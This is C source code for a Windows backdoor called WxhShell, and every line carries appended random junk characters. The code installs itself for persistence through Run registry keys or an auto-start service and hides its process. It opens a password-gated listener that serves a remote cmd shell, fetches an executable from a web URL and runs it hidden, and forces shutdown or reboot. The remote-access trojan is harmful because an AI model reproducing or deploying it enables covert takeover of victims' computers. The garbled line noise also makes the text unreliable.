    } 6Vgxfic  
  // 关机 7v&>d,  
  case 'd': { @?JFqwq!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6$)FQ U  
    if(Boot(SHUTDOWN)) 4 _P6P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  "F=ta  
    else { 4#,,_\r  
    closesocket(wsh); WES$B7y  
    ExitThread(0); 2kcDJ{(  
    } ;e{e ?,[  
    break; BgT(~8'  
    } d`UK mj  
  // 获取shell r$:hiE@  
  case 's': { Ot+Z}Z-  
    CmdShell(wsh); )DGJr/)  
    closesocket(wsh); mclV" ?  
    ExitThread(0); ~8&P*oFC  
    break; y?V^S;}&]  
  } oj/#wF+  
  // 退出 I5@8=rFk  
  case 'x': { J#gG*(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^[&,MQU{7  
    CloseIt(wsh); Wl7S<>hg4  
    break; Q?V+ 0J  
    } */HW]x|?V~  
  // 离开 |~o0 -: 'C  
  case 'q': { "$/1.SX;]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V x{   
    closesocket(wsh); O\SH;y,N  
    WSACleanup(); m3~_uc/+D  
    exit(1); O"X:3srJ`  
    break; M._;3_)%/  
        } ]O>AD 6P  
  } T>pyYF1Q  
  } U.WXh(`%  
/}/GK|tj  
  // 提示信息 BNgm+1?L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F`La_]f?b\  
} Z,tHyyF?j  
  } "ql$Rz8  
o%!s/Z1  
  return; I7W`\d)  
} S5kD|kJ  
:uJHFF xg  
// shell模块句柄 9}_'  
int CmdShell(SOCKET sock) i;atYltEJ2  
{ ({zWyl  
STARTUPINFO si; UxxX8N  
ZeroMemory(&si,sizeof(si)); j#U,zsv:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .D*~UI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +eO>> ~Z  
PROCESS_INFORMATION ProcessInfo; JZK93R  
char cmdline[]="cmd"; 7GTDe'T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CpB,L  
  return 0; YG /@=Z.  
} :dQRrmM  
P4zwTEk`  
// 自身启动模式 ^f57qc3nF  
int StartFromService(void) [mQdc?n\  
{ :`4F0  
typedef struct a`8]TD  
{ &Yo|Pj  
  DWORD ExitStatus; FJ^\K+;  
  DWORD PebBaseAddress; lMH~J8U3  
  DWORD AffinityMask; Sl-9im1  
  DWORD BasePriority; Z- t&AH  
  ULONG UniqueProcessId; t3!OqM  
  ULONG InheritedFromUniqueProcessId; ]Ok'C"V(j  
}   PROCESS_BASIC_INFORMATION; d"@ /{O^1  
6Xz d> 5x  
PROCNTQSIP NtQueryInformationProcess; 8#\|Y~P  
6i%6u=um3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C_'EO<w$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E[7E%^:Mg  
 q(X7e  
  HANDLE             hProcess; WNZYs  
  PROCESS_BASIC_INFORMATION pbi; Z\]{{;%4b7  
)&O6d .  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mna yiJl  
  if(NULL == hInst ) return 0; c%WO#}r|  
xXc>YTK'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?68~g<d,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7#W]Qj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZyDNtX%  
_n/73Oh  
  if (!NtQueryInformationProcess) return 0; C\joDAD  
g ?xD*3 <  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4U_+NC>b  
  if(!hProcess) return 0; //;(KmU9  
Hq+QsplG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d3|/&gDBK  
(w{T[~6  
  CloseHandle(hProcess); j!y9E~Zz  
:p,|6~b$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ya{`gjIlW  
if(hProcess==NULL) return 0; ]jY^*o[  
-8Hc M\b  
HMODULE hMod; z9g ++]rkJ  
char procName[255]; U[|5:qWs  
unsigned long cbNeeded; 3 tCTPZy  
i39ZBs@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <i4]qO(0u  
/t< &  
  CloseHandle(hProcess); o[}Dj6e\t  
\|9B:y'y  
if(strstr(procName,"services")) return 1; // 以服务启动 %)r:!R~R  
J <;xkT1x  
  return 0; // 注册表启动 iCA-X\E  
} lVQE}gd%m  
KS<@;Tt  
// 主模块 :V5 Co!/+  
int StartWxhshell(LPSTR lpCmdLine) BWQ`8  
{ SMIDW}U2S  
  SOCKET wsl; <F(S_w62  
BOOL val=TRUE; [qW%H,_  
  int port=0; 6dmb bgO)  
  struct sockaddr_in door; b_a k@LYiu  
6r`N\ :18  
  if(wscfg.ws_autoins) Install(); FZn1$_Svr  
 ?ueL'4Mm  
port=atoi(lpCmdLine); 3cgq'ob  
uS,?oS  
if(port<=0) port=wscfg.ws_port;  Igmg&  
(oR~%2K  
  WSADATA data; xZ)K#\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y.) QNTh  
d,N6~?B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jrFPd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /FE+WA}r  
  door.sin_family = AF_INET; #*/nUbsg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =1dczJHV  
  door.sin_port = htons(port); wn?oHz*  
Exqz$'(W9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7%EIn9P  
closesocket(wsl); ZzNHEV  
return 1; M9A1 8d|  
} @'}2xw[eU  
]7cciob  
  if(listen(wsl,2) == INVALID_SOCKET) { .%{B=_7  
closesocket(wsl); Y,v9o  
return 1; B)[RIs  
} T0")Ryu  
  Wxhshell(wsl); @wa"pWx8  
  WSACleanup(); x'|9A?ez@Z  
Jk-WD"J6  
return 0; 0RtZTCGO  
)I3E  
} >;1w-n  
O5vfcX4>  
// 以NT服务方式启动 bR) P-9rs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u&1M(~Ub=  
{ i8k} B o  
DWORD   status = 0; fMFkA(Of^  
  DWORD   specificError = 0xfffffff; Pe,ky>ow  
TK18U*z7J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'g,_lF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \Db;7wh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [n| }>  
  serviceStatus.dwWin32ExitCode     = 0;  mjP  
  serviceStatus.dwServiceSpecificExitCode = 0; Ycm.qud ?  
  serviceStatus.dwCheckPoint       = 0; ~EY)c~ H  
  serviceStatus.dwWaitHint       = 0; 3'kKbrk [  
7Z`4Kdh .  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a'|]_`36x  
  if (hServiceStatusHandle==0) return; [KYq01cj  
|(*btdqy3  
status = GetLastError(); Z(c SM  
  if (status!=NO_ERROR) PdVx&BL*  
{ DvQV_D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J.:  
    serviceStatus.dwCheckPoint       = 0; lqv}~MC  
    serviceStatus.dwWaitHint       = 0; Q2Ey RFT  
    serviceStatus.dwWin32ExitCode     = status; ? OF $J|h  
    serviceStatus.dwServiceSpecificExitCode = specificError; QxLrpM"O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z+;$cfN  
    return; }wn|2K'  
  } ?m2FN< S  
nw- -  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4cSs=|m?+  
  serviceStatus.dwCheckPoint       = 0; gizY4~ j  
  serviceStatus.dwWaitHint       = 0; 1}|y^oB\-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yN{**?b  
} jZqa+nG51  
[dP<A ?s  
// 处理NT服务事件,比如:启动、停止 XchD3p+uB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O4f9n  
{ Lf ^ 7|  
switch(fdwControl) Y=<ABtertS  
{ ~FYC'd  
case SERVICE_CONTROL_STOP: *!y04'p`<  
  serviceStatus.dwWin32ExitCode = 0; c^1JSGv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OfBWf6b  
  serviceStatus.dwCheckPoint   = 0; aC1 xt(  
  serviceStatus.dwWaitHint     = 0; 89D`!`Ah]  
  { y~#5!:Be  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rU"AO}6\@  
  } .O0eSp|e  
  return; j -o  
case SERVICE_CONTROL_PAUSE: KYB3n85 1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,?j!c*  
  break; k7*-v/ *S  
case SERVICE_CONTROL_CONTINUE: B^dMYFelJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jWxa [ >  
  break; 7mi*#X}  
case SERVICE_CONTROL_INTERROGATE: ?^!J:D?  
  break; U= n  
}; Q$.CtECo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E{JTy{z-  
} M^ WoV }'  
{)r[?%FMgV  
// 标准应用程序主函数 4%nK0FAj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g=4P-i3   
{ `O3#/1+  
Om:Gun\%  
// 获取操作系统版本 1iR\M4?Frf  
OsIsNt=GetOsVer(); #Qz 9{1\G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K ~\b+  
qfFa" a  
  // 从命令行安装 LL3| U  
  if(strpbrk(lpCmdLine,"iI")) Install(); fy>3#`T-  
!$iwU3~<  
  // 下载执行文件 Z%.L d2Q{  
if(wscfg.ws_downexe) { kp[&SKU c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7]L}~  
  WinExec(wscfg.ws_filenam,SW_HIDE); NPBOG1q%  
} +gndW  
C|FI4/-e  
if(!OsIsNt) { M-QQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 b9.7j!W  
HideProc(); )0 6. dZq\  
StartWxhshell(lpCmdLine); C;ha2UV0H  
} O>rz+8T  
else &JLKHwi/  
  if(StartFromService()) NODE`VFu  
  // 以服务方式启动 ct*~\C6Ze  
  StartServiceCtrlDispatcher(DispatchTable); ?=iy 6q  
else 7[kDc-  
  // 普通方式启动 C\C*@9=&x  
  StartWxhshell(lpCmdLine); 0""%@X]m  
4yxf/X)  
return 0; !&KE">3Qu  
} 65 &+Fv  
}VH` \g}  
= "Lb5!  
GZ:1bV37%  
=========================================== 0_>1CW+X  
}236{)DuN  
Pa\yp?({q  
G7-.d/8|^  
W}(xE?9&  
sV~|9/r  
" Cq=k3d#}  
:oZ~&H5Q  
#include <stdio.h> 0#ePg6n  
#include <string.h> Hn)^C{RN*{  
#include <windows.h> fk5pPm|MiL  
#include <winsock2.h> 0[Zs8oRiI  
#include <winsvc.h> "\afIYS I  
#include <urlmon.h> J(,gLl  
}`$({\^w  
#pragma comment (lib, "Ws2_32.lib") XHuHbriI  
#pragma comment (lib, "urlmon.lib") z*^vdi0  
@DR?^ qp  
#define MAX_USER   100 // 最大客户端连接数 It'PWqZtG  
#define BUF_SOCK   200 // sock buffer :,^x?'HK  
#define KEY_BUFF   255 // 输入 buffer Rwmr[g  
w01\KV  
#define REBOOT     0   // 重启 :(jovse\  
#define SHUTDOWN   1   // 关机 NTM.Vj -_h  
Wc##.qU  
#define DEF_PORT   5000 // 监听端口 ]mO7O+  
8`b_,(\N  
#define REG_LEN     16   // 注册表键长度 $kQQdF  
#define SVC_LEN     80   // NT服务名长度 vN)l3  
1NlpOVq:)  
// 从dll定义API ^''3}<Ep  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 60 p*4>^v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zZCssn;[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *zPz)3;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G`jJKiC  
.)=j~}\  
// wxhshell配置信息 VelX+|w  
struct WSCFG { l) )Cvre+  
  int ws_port;         // 监听端口 R^4 j0L  
  char ws_passstr[REG_LEN]; // 口令 @JD!.3  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7bam`)n  
  char ws_regname[REG_LEN]; // 注册表键名 %Zu+=I Z  
  char ws_svcname[REG_LEN]; // 服务名 /@s(8{;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q S.w#"X[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z2\Xe~{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UbwD2>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0_map z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H 4W4# \M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n<7R6)j6  
QW@`4W0F  
}; G?yG|5.pU  
1FEY&rpR  
// default Wxhshell configuration s\1c.  
struct WSCFG wscfg={DEF_PORT, (>x_fDv  
    "xuhuanlingzhe", -f[95Z3}  
    1, M}F) P&Y  
    "Wxhshell", #>\8m+h 9  
    "Wxhshell", ..ht)Gex  
            "WxhShell Service", bU"2D.k  
    "Wrsky Windows CmdShell Service", a<Pt m(,  
    "Please Input Your Password: ", jP"='6Vrw  
  1, )VR/a  
  "http://www.wrsky.com/wxhshell.exe", W\yaovAt  
  "Wxhshell.exe" _Nq7_iT0  
    }; >_?Waz %  
(V+iJ_1g{  
// 消息定义模块 +D+Rf,D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w=75?3c7F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2SVJKX_V+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .3 T#:Hl  
char *msg_ws_ext="\n\rExit."; tJY3k$YX  
char *msg_ws_end="\n\rQuit."; lMBXD?,,J  
char *msg_ws_boot="\n\rReboot..."; _NJq%-,'  
char *msg_ws_poff="\n\rShutdown..."; . !;K5U  
char *msg_ws_down="\n\rSave to "; !"x&tF  
7j L.\O  
char *msg_ws_err="\n\rErr!"; Uu3<S  
char *msg_ws_ok="\n\rOK!"; DWRq \`P  
l+8G6?@]>  
char ExeFile[MAX_PATH]; !@-g9z  
int nUser = 0; KF`@o@,  
HANDLE handles[MAX_USER]; zz+[]G+"2m  
int OsIsNt; "@)9$-g  
3DO ^vV  
SERVICE_STATUS       serviceStatus; Bl)DuCV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; < ekLL{/O'  
d>NM4n[h8  
// 函数声明 ;O7<lF\7o  
int Install(void); 9i+SU|;j  
int Uninstall(void); pO_L,~<  
int DownloadFile(char *sURL, SOCKET wsh); ({AqL#x`u  
int Boot(int flag); | sio:QP  
void HideProc(void); =XT}&D6  
int GetOsVer(void); "V/6 nuCo  
int Wxhshell(SOCKET wsl); j5>3Td.  
void TalkWithClient(void *cs); 5}t}Wc8  
int CmdShell(SOCKET sock); (>\w8]  
int StartFromService(void); ww"HV;i  
int StartWxhshell(LPSTR lpCmdLine); -F|C6m!  
:Vf:_;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PKM8MYvo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gNG_,+=!  
]RJcY1  
// 数据结构和表定义 m0 k~8^L@f  
SERVICE_TABLE_ENTRY DispatchTable[] = fgSe]q//  
{ x:)8+Rn}  
{wscfg.ws_svcname, NTServiceMain}, SBBi"U:  
{NULL, NULL} Q7$K,7flf;  
}; "R/Xv+;  
#{kwl|c   
// 自我安装 |H'4];>R?  
int Install(void) )tyhf(p6  
{ wd`lN,WiW  
  char svExeFile[MAX_PATH]; !4f0VQI  
  HKEY key; l4sFT)}-J  
  strcpy(svExeFile,ExeFile); ;:l\_b'Z}  
>~sAa+Oxi  
// 如果是win9x系统,修改注册表设为自启动 >)3[CU,  
if(!OsIsNt) { ,1+)qv#|i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $fwv'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [nam H a  
  RegCloseKey(key); X_eh+>D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =i/7&gC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uxd5XS  
  RegCloseKey(key); 5xawa:K  
  return 0; (ft8,^=4  
    } >wpC45n)9N  
  } f|f9[h'  
} ,NQucp  
else { D|}%(N@sl  
Ol~j q;75  
// 如果是NT以上系统,安装为系统服务 I(*4N^9++  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O!D0 hW4  
if (schSCManager!=0) !V6O~#  
{ q >|:mXR  
  SC_HANDLE schService = CreateService n~g,qEI;<x  
  ( <QyJJQM  
  schSCManager, sacaL4[_<  
  wscfg.ws_svcname, jz%%r Q(  
  wscfg.ws_svcdisp, i0%S6vmaS  
  SERVICE_ALL_ACCESS, 7aJLC!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^$7Lmd.qI  
  SERVICE_AUTO_START, ~EVD NnHEr  
  SERVICE_ERROR_NORMAL, a;Q.R  
  svExeFile, q.l" Y#d  
  NULL, Fx.hti  
  NULL, +d0&(b  
  NULL, \WnI&nu  
  NULL, J<<0U;  
  NULL <= xmJx-V  
  ); EhkvC>y  
  if (schService!=0) h$Z_r($b  
  { ; /3 <  
  CloseServiceHandle(schService); i 5"g?Wa2N  
  CloseServiceHandle(schSCManager); CVh^~!"7j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6p X[m{  
  strcat(svExeFile,wscfg.ws_svcname); yu'2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { El~x$X*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  G.3 qg%  
  RegCloseKey(key); F(-Q]xj,  
  return 0; I&oHVFY+  
    } 9nFPGIz+  
  } a3wTcp "r  
  CloseServiceHandle(schSCManager); ^gwVh~j  
} ]}_@!F)  
} J?WT  
SEn-8ZF  
return 1; Rl7V~dUY  
} +)#d+@-  
P~V0<$C  
// 自我卸载 q^ {Xn-G  
int Uninstall(void) pv.0!a/M  
{ =gCv`SFW  
  HKEY key; bY4~\cP.  
3d^zLL  
if(!OsIsNt) { sD,[,6(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,!BiB*  
  RegDeleteValue(key,wscfg.ws_regname); +)C?v&N  
  RegCloseKey(key); QfuKpcT &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d~](S<k  
  RegDeleteValue(key,wscfg.ws_regname); ^FJ=/#@T  
  RegCloseKey(key); `c^ _5:euX  
  return 0; jlV~-}QKb7  
  } uUUj?%  
} k#8,:B2  
} pm+_s]s,  
else { (c `t'e  
pJC@}z^cw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  PK#; \Zw  
if (schSCManager!=0) _7(>0GY  
{ aHosu=NK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ctpr.  
  if (schService!=0) #%4-zNS  
  { jg]_'^pVzr  
  if(DeleteService(schService)!=0) { [:x^ffs  
  CloseServiceHandle(schService); gdupG  
  CloseServiceHandle(schSCManager); / vI sX3v  
  return 0; J G xuB*}  
  } z116i?7EnV  
  CloseServiceHandle(schService); zkXG%I4h  
  } opQ%!["N  
  CloseServiceHandle(schSCManager);  =,q,W$-  
} :yN;_bC!b%  
} qEC -'sl<  
U^tr Z])  
return 1; cD&53FPXC  
} B w1ir  
Om%{fq&  
// 从指定url下载文件 LXr yv;H  
int DownloadFile(char *sURL, SOCKET wsh) sW[8f Z71  
{ \IL/?J 5d  
  HRESULT hr; a"^0;a  
char seps[]= "/"; */iD68r|-  
char *token; 1$Rua  
char *file; @ !0@f'}e  
char myURL[MAX_PATH]; fcd\{1#u  
char myFILE[MAX_PATH]; eRkvNI  
-~O7.E(ok  
strcpy(myURL,sURL); o}&TFhT  
  token=strtok(myURL,seps); 9(>]6|XS  
  while(token!=NULL) ?mxBMtc  
  { +H5= zf2  
    file=token; gWm -}Nb4  
  token=strtok(NULL,seps); i1]*5;q  
  } $Q,Fr; B  
}5~|h%  
GetCurrentDirectory(MAX_PATH,myFILE); nUi 4!|r  
strcat(myFILE, "\\"); 5[.Dlpa'7  
strcat(myFILE, file); vtyk\e)   
  send(wsh,myFILE,strlen(myFILE),0); iUl5yq  
send(wsh,"...",3,0); V)M+dhl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q}p+/-U\  
  if(hr==S_OK) }D_h*9  
return 0; ~|e?@3_G  
else RG [*:ReB9  
return 1; \ct)/  
@= f2\hU  
} ~^((tT  
 LAG*H  
// 系统电源模块 L&O!"[++  
int Boot(int flag) <aJdm!6  
{ T4,dhS|  
  HANDLE hToken; 0 1U/{D6D  
  TOKEN_PRIVILEGES tkp; ^&oa\7<'  
5gnNgt~  
  if(OsIsNt) { ]J;pUH+u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cd1M0z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C8qA+dri  
    tkp.PrivilegeCount = 1; 5)fEs.r0U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <[O8 {9j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QXZjsa_|  
if(flag==REBOOT) { MP/6AAt7=|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T#'+w@Q9{9  
  return 0; \ IJ\  
} u_[^gS7  
else { /QDlm>FM4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5$o]D  
  return 0; s@^ (1g[w`  
} f/t1@d!  
  } [)V&$~xW  
  else { UxI0Of&:  
if(flag==REBOOT) { [MfKBlA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DC4,*a~  
  return 0; ?4%'6R  
} t_HS0rxG  
else { o<@b]ukl&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OQ&?^S`8',  
  return 0; fC>3{@h}*  
} <k)@PAV  
} / /63?s+  
1:]iV}OFqR  
return 1; g_?:G$1H  
} @+LkGrDP  
>[TB8  
// win9x进程隐藏模块 ("(:wYR%  
void HideProc(void) >%jQw.  
{ d#yb($HAJ  
Afm GA9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pC 5J '@  
  if ( hKernel != NULL ) }HB)%C50.  
  { 8F|8zX&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pp{Za@j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jQjtO"\JG  
    FreeLibrary(hKernel); rb_ cm  
  } jEr/*kv  
e%#(:L  
return; 6x%uWZa'  
} u4QPO:,a4  
0Lcd@3XL  
// 获取操作系统版本 vJ9 6qX  
int GetOsVer(void) v'Y)~Kv@!  
{ X2b<_j3  
  OSVERSIONINFO winfo; w'[lIEP 2$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L}O_1+b  
  GetVersionEx(&winfo); 49b#$Xq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %_xRS  
  return 1; siveqz6h  
  else 4qq+7B  
  return 0; $]:yc n9l  
} 2 O\p`,.  
 # Vz9j  
// 客户端句柄模块 rj zRZ  
int Wxhshell(SOCKET wsl) GKf,1kns  
{ RRh0G>*  
  SOCKET wsh; WE""be8  
  struct sockaddr_in client; Xq`|'6]/  
  DWORD myID; 7FL!([S5i  
d~f_wN&r  
  while(nUser<MAX_USER) J6Uo+0S  
{ HO,z[6  
  int nSize=sizeof(client); nG<_&h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "&;>l<V  
  if(wsh==INVALID_SOCKET) return 1; BS<5b*wG  
\6A-eWIQif  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,$irJz F  
if(handles[nUser]==0) rlSar$  
  closesocket(wsh); JR/:XYS+  
else b4`t, D  
  nUser++; Ara D_D  
  } @]r,cPx0Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H8d%_jCr  
*FoH '\=  
  return 0; 5o;M  
} @[ {9B6NlV  
]`%}Q  
// 关闭 socket 0#}Ed Q  
void CloseIt(SOCKET wsh) $j61IL3+  
{ [@"~'fu0  
closesocket(wsh); I}JC~=`j  
nUser--; ?Fgk$ WqC  
ExitThread(0); hwkm'$}  
} po@=$HK  
tU2 8l.  
// 客户端请求句柄 /wplP+w2  
void TalkWithClient(void *cs) G gmv(!  
{ HGqT"N Jr  
9PXG*r|D  
  SOCKET wsh=(SOCKET)cs; Fd@n#DR `  
  char pwd[SVC_LEN]; E,5XX;|  
  char cmd[KEY_BUFF];  >-EJLa  
char chr[1]; !d Ns3d  
int i,j; Cf@~W)K  
Le#>uWM  
  while (nUser < MAX_USER) { ,CiN@T \&  
0 XV8 B  
if(wscfg.ws_passstr) { ,PH;j_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OwXw9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &AR@5M u  
  //ZeroMemory(pwd,KEY_BUFF); ? <b>2j  
      i=0; l-` M 9#  
  while(i<SVC_LEN) { 'Fi\Qk'D@  
jWHv9XtW  
  // 设置超时 #- S%aeB  
  fd_set FdRead; d{^9` J'  
  struct timeval TimeOut; ykFm$ 0m+I  
  FD_ZERO(&FdRead); ]PWK^-4P  
  FD_SET(wsh,&FdRead); )kLTyx2&  
  TimeOut.tv_sec=8; W Z'UVUi8  
  TimeOut.tv_usec=0; \\Ps*HN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d/I,`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aLZza"W  
uE{r09^q\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~qFuS933  
  pwd=chr[0]; gaFOm9y.e  
  if(chr[0]==0xd || chr[0]==0xa) { ?N*m2rv  
  pwd=0; E= 3Ui  
  break; a,<l_#'  
  } J1P jMb}  
  i++; X>}-UHKV+  
    } ZDHm@,d  
$tKz|H)  
  // 如果是非法用户,关闭 socket ?` ?HqR0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "^/3?W>  
} 4%k{vo5i  
XcN"orAo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0hJ,l.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 05o +VF;z  
hnOo T? V  
while(1) {  {yXpBS  
| ]#PF*  
  ZeroMemory(cmd,KEY_BUFF); D==C"}J  
y Skz5K+|g  
      // 自动支持客户端 telnet标准   e,J q<=j  
  j=0; be^+X[  
  while(j<KEY_BUFF) { ,3+#?H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K+HP2|#6  
  cmd[j]=chr[0]; 2c)Ez?  
  if(chr[0]==0xa || chr[0]==0xd) { {|!> {  
  cmd[j]=0; fXo$1!  
  break; pi?$h"y7Q  
  } CEQs}bz  
  j++; JU>F&g/|  
    } 'YFy6rds  
+!"GYPUXy  
  // 下载文件 0oT~6BGm  
  if(strstr(cmd,"http://")) { a!?JVhD&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0Y|"Bo9k  
  if(DownloadFile(cmd,wsh)) tfz"9PV80  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mz-sazgV  
  else %s&"gWi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0j\} @  
  } zCz"[9k  
  else { ]LbFh5;s  
